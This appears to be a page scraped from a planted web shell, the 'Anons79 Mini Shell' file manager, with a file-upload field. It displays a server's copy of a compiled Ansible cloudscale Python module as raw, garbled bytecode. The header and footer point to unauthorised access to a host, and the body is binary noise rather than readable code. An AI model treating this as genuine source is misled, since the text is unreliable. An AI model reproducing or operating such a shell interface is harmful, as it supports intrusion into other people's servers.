Anons79 Mini Shell

Directory : /proc/self/root/lib/python2.7/site-packages/ansible/module_utils/
Upload File :
Current File : //proc/self/root/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyo

�
�Udac@`s�ddlmZmZmZeZddlmZddlm	Z	ddl
mZddlm
Z
dZd�Zdefd	��YZd
S(i(tabsolute_importtdivisiontprint_function(tdeepcopy(tenv_fallback(t	fetch_url(tto_textshttps://api.cloudscale.ch/v1/c	C`s@tdtdtdgfdtdt�dtddd	d
��S(Nt	api_tokentfallbacktCLOUDSCALE_API_TOKENtno_logtrequiredtapi_timeouttdefaultittypetint(tdictRtTrue(((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pytcloudscale_argument_specs
	tAnsibleCloudscaleBasecB`sVeZd�Zd�Zd�Zdd�Zdd�Zd�Zd�Z	d�Z
RS(	cC`sT||_id|jdd6|_itd6tdt�dt��d6|_dS(Ns	Bearer %sRt
Authorizationtchangedtbeforetaftertdiff(t_moduletparamst_auth_headertFalseRt_result(tselftmodule((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt__init__s
	cC`s�t|jt|d|jd|jjd�\}}|ddkrg|jjt|j�dd��S|ddkr{dS|jj	d	d
|d|�dS(NtheadersttimeoutRtstatusi�terrorstsurrogate_or_stricti�tmsgs>Failure while calling the cloudscale.ch API with GET for "%s".tfetch_url_info(
RRtAPI_URLRRt	from_jsonRtreadtNonet	fail_json(Rtapi_calltresptinfo((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt_get$s	"c
C`s9t|krt|}n|}|jj�}|dk	r�x6t|�j�D]"\}}|dkrM||=qMqMW|jj|�}d|d<nt|j|d|d|d|d|jj	d�\}}	|	ddkr�|jj
t|j�dd��S|	dd
krdS|jj
dd||fd|	�dS(Nsapplication/jsonsContent-typeR!tmethodtdataR"RR#i�i�R$R%i�R&s=Failure while calling the cloudscale.ch API with %s for "%s".R'(i�i�(R(RtcopyR+RtitemsRtjsonifyRRR)RR*R,(
RR-R1R2tapi_endpointR!tktvR.R/((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt_post_or_patch1s,

	"cC`s|j|d|�S(NtPOST(R9(RR-R2((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt_postSscC`s|j|d|�S(NtPATCH(R9(RR-R2((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt_patchVsc
C`spt|jt|d|jddd|jjd�\}}|ddkrOdS|jjdd	|d
|�dS(NR!R1tDELETER"RR#i�R&sAFailure while calling the cloudscale.ch API with DELETE for "%s".R'(RRR(RRR+R,(RR-R.R/((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt_deleteYs	
	cC`s�|jjj|�}|dkr%tS|r�||kr�|||kr�t|jd<i||6}|jddji|||6�|jddj|�|jjs�|jd�}|s�|jj	dd|�n|j
||�tSq�ntS(NRRRRthrefR&s#Unable to update %s, no href found.(RRtgetR+RRRtupdatet
check_modeR,R=(Rtkeytresourcetparamt
patch_dataR@((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt_param_updatedfs"

#
cC`s:|r3x*|j�D]\}}||j|<qWn|jS(N(R4R(RRER7R8((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt
get_resultsN(t__name__t
__module__R R0R9R+R;R=R?RHRI(((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyRs		
	"	
	N(t
__future__RRRRt
__metaclass__R3Rtansible.module_utils.basicRtansible.module_utils.urlsRtansible.module_utils._textRR(RtobjectR(((sC/usr/lib/python2.7/site-packages/ansible/module_utils/cloudscale.pyt<module>s		

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]